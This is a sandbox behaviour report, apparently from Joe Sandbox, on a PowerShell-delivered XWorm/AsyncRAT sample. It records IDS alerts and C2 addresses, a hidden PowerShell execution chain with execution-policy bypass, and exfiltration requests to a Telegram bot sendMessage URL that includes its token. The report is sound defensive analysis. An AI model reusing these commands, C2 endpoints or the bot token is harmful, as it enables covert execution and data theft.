Source: 11.2.RegSvcs.exe.400000.0.unpack	String decryptor: <Xwormmm>
Source: 11.2.RegSvcs.exe.400000.0.unpack	String decryptor: XWorm V5.6
Source: 11.2.RegSvcs.exe.400000.0.unpack	String decryptor: USB.exe

Source: unknown	HTTPS traffic detected: 104.26.12.205:443 -> 192.168.2.8:49705 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.8:49706 version: TLS 1.2

Software Vulnerabilities

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2855924 - Severity 1 - ETPRO MALWARE Win32/XWorm V3 CnC Command - PING Outbound : 192.168.2.8:49709 -> 191.96.207.180:50000
Source: Network traffic	Suricata IDS: 2852870 - Severity 1 - ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes : 191.96.207.180:50000 -> 192.168.2.8:49709
Source: Network traffic	Suricata IDS: 2852923 - Severity 1 - ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client) : 192.168.2.8:49709 -> 191.96.207.180:50000
Source: Network traffic	Suricata IDS: 2852874 - Severity 1 - ETPRO MALWARE Win32/XWorm CnC PING Command Inbound M2 : 191.96.207.180:50000 -> 192.168.2.8:49709
Source: Network traffic	Suricata IDS: 2853193 - Severity 1 - ETPRO MALWARE Win32/XWorm V3 CnC Command - PING Outbound : 192.168.2.8:49709 -> 191.96.207.180:50000

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

URLs: vecotr.viewdns.net

Uses the Telegram API (likely for C&C communication)

Source: unknown

DNS query: name: api.telegram.org

Source: global traffic

TCP traffic: 192.168.2.8:49709 -> 191.96.207.180:50000

Source: Joe Sandbox View	IP Address: 149.154.167.220 149.154.167.220
Source: Joe Sandbox View	IP Address: 104.26.12.205 104.26.12.205
Source: Joe Sandbox View	IP Address: 104.26.12.205 104.26.12.205
Source: Joe Sandbox View	IP Address: 191.96.207.180 191.96.207.180

Source: Joe Sandbox View	ASN Name: TELEGRAMRU TELEGRAMRU
Source: Joe Sandbox View	ASN Name: ASN-XTUDIONETES ASN-XTUDIONETES

Source: Joe Sandbox View

JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: unknown	DNS query: name: api.ipify.org
Source: unknown	DNS query: name: api.ipify.org

Source: global traffic	HTTP traffic detected: GET /?format=text HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: api.ipify.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7023733342:AAF7anpSpW-b4P0f9IHAtSRpneaxwA7w_Lc/sendMessage HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Content-Type: application/x-www-form-urlencodedHost: api.telegram.orgContent-Length: 63Connection: Keep-Alive

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic

HTTP traffic detected: GET /?format=text HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: api.ipify.orgConnection: Keep-Alive

Source: global traffic	DNS traffic detected: DNS query: api.ipify.org
Source: global traffic	DNS traffic detected: DNS query: api.telegram.org
Source: global traffic	DNS traffic detected: DNS query: vecotr.viewdns.net

Source: unknown

HTTP traffic detected: POST /bot7023733342:AAF7anpSpW-b4P0f9IHAtSRpneaxwA7w_Lc/sendMessage HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Content-Type: application/x-www-form-urlencodedHost: api.telegram.orgContent-Length: 63Connection: Keep-Alive

Source: powershell.exe, 00000001.00000002.1567596454.0000026A4C94A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://api.ipify.org
Source: powershell.exe, 00000001.00000002.1567596454.0000026A4CA23000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://api.telegram.org
Source: powershell.exe, 00000001.00000002.1613322253.0000026A5B7F0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.1613322253.0000026A5BA76000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: powershell.exe, 00000001.00000002.1567596454.0000026A4B938000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: powershell.exe, 00000001.00000002.1567596454.0000026A4B938000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: powershell.exe, 00000001.00000002.1567596454.0000026A4B781000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 0000000B.00000002.3868513529.0000000002771000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 00000001.00000002.1567596454.0000026A4B938000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/wsdl/
Source: powershell.exe, 00000001.00000002.1567596454.0000026A4B938000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: powershell.exe, 00000001.00000002.1625284459.0000026A63A20000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.microsoft.co
Source: powershell.exe, 00000001.00000002.1567596454.0000026A4B781000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore68
Source: powershell.exe, 00000001.00000002.1567596454.0000026A4B938000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/winsvr-2022-pshelp
Source: powershell.exe, 00000001.00000002.1567596454.0000026A4D424000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.1567596454.0000026A4D3FE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/winsvr-2022-pshelpX
Source: powershell.exe, 00000001.00000002.1567596454.0000026A4C862000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.ipify.org
Source: powershell.exe, 00000001.00000002.1567596454.0000026A4C862000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.ipify.org/?format=text
Source: powershell.exe, 00000001.00000002.1567596454.0000026A4C862000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.1613322253.0000026A5B7F0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.1567596454.0000026A4B938000.00000004.00000800.00020000.00000000.sdmp, LUYYSwStKN.ps1	String found in binary or memory: https://api.ipify.org?format=text
Source: powershell.exe, 00000001.00000002.1567596454.0000026A4C98C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org
Source: powershell.exe, 00000001.00000002.1567596454.0000026A4B938000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot
Source: powershell.exe, 00000001.00000002.1613322253.0000026A5B7F0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.1567596454.0000026A4B938000.00000004.00000800.00020000.00000000.sdmp, LUYYSwStKN.ps1	String found in binary or memory: https://api.telegram.org/bot$BotToken/sendMessage
Source: powershell.exe, 00000001.00000002.1567596454.0000026A4CA23000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.1567596454.0000026A4C98C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot7023733342:AAF7anpSpW-b4P0f9IHAtSRpneaxwA7w_Lc/sendMessage
Source: powershell.exe, 00000001.00000002.1567596454.0000026A4C98C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot7023733342:AAF7anpSpW-b4P0f9IHAtSRpneaxwA7w_Lc/sendMessagep
Source: powershell.exe, 00000001.00000002.1613322253.0000026A5BA76000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000001.00000002.1613322253.0000026A5BA76000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000001.00000002.1613322253.0000026A5BA76000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: powershell.exe, 00000001.00000002.1567596454.0000026A4B938000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: powershell.exe, 00000001.00000002.1567596454.0000026A4D778000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://go.micro
Source: powershell.exe, 00000001.00000002.1613322253.0000026A5B7F0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.1613322253.0000026A5BA76000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe

Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49706
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49705

Source: unknown	HTTPS traffic detected: 104.26.12.205:443 -> 192.168.2.8:49705 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.8:49706 version: TLS 1.2

System Summary

Malicious sample detected (through community Yara rule)

Source: 11.2.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 0000000B.00000002.3865121018.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects AsyncRAT Author: ditekSHen

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\ProgramData\Music\Visuals\VsEnhance.bat" "
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Powershell -noP -W hidden -ep byPass -NONI "C:\ProgramData\Music\Visuals\VsLabsData.ps1"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\ProgramData\Music\Visuals\VsEnhance.bat" "	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Powershell -noP -W hidden -ep byPass -NONI "C:\ProgramData\Music\Visuals\VsLabsData.ps1"	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Process Stats: CPU usage > 49%

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 1_2_00007FFB4AE342DA	1_2_00007FFB4AE342DA
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 1_2_00007FFB4AE31438	1_2_00007FFB4AE31438
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 1_2_00007FFB4AE309F2	1_2_00007FFB4AE309F2
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 1_2_00007FFB4AEF26F9	1_2_00007FFB4AEF26F9
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 1_2_00007FFB4AEF3462	1_2_00007FFB4AEF3462
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 1_2_00007FFB4AEF341A	1_2_00007FFB4AEF341A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 11_2_00CFB038	11_2_00CFB038
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 11_2_00CF6350	11_2_00CF6350
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 11_2_00CF5678	11_2_00CF5678
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 11_2_00CF2BE8	11_2_00CF2BE8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 11_2_00CF5330	11_2_00CF5330
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 11_2_00CF84D0	11_2_00CF84D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 11_2_00CF0BA0	11_2_00CF0BA0

Source: 11.2.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 0000000B.00000002.3865121018.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT

Source: classification engine

Classification label: mal100.troj.expl.evad.winPS1@13/12@3/3

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7784:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7440:120:WilError_03
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Mutant created: \Sessions\1\BaseNamedObjects\N5Yy5TM3WOXfdPYN

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ortsuiw1.iv2.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\ProgramData\Music\Visuals\VsEnhance.bat" "

Source: unknown

Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\ProgramData\Music\Visuals\VsLabs.vbs"

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\SystemCertificates\CA

Jump to behavior

Source: LUYYSwStKN.ps1

ReversingLabs: Detection: 18%

Source: unknown	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noLogo -ExecutionPolicy unrestricted -file "C:\Users\user\Desktop\LUYYSwStKN.ps1"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\ProgramData\Music\Visuals\VsLabs.vbs"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\ProgramData\Music\Visuals\VsEnhance.bat" "
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c Powershell -noP -W hidden -ep byPass -NONI "C:\ProgramData\Music\Visuals\VsLabsData.ps1"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Powershell -noP -W hidden -ep byPass -NONI "C:\ProgramData\Music\Visuals\VsLabsData.ps1"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\ProgramData\Music\Visuals\VsEnhance.bat" "	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c Powershell -noP -W hidden -ep byPass -NONI "C:\ProgramData\Music\Visuals\VsLabsData.ps1"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Powershell -noP -W hidden -ep byPass -NONI "C:\ProgramData\Music\Visuals\VsLabsData.ps1"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: linkinfo.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntshrui.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cscapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: taskflowdataengine.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cdp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dsreg.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kdscli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: vbscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: cmdext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
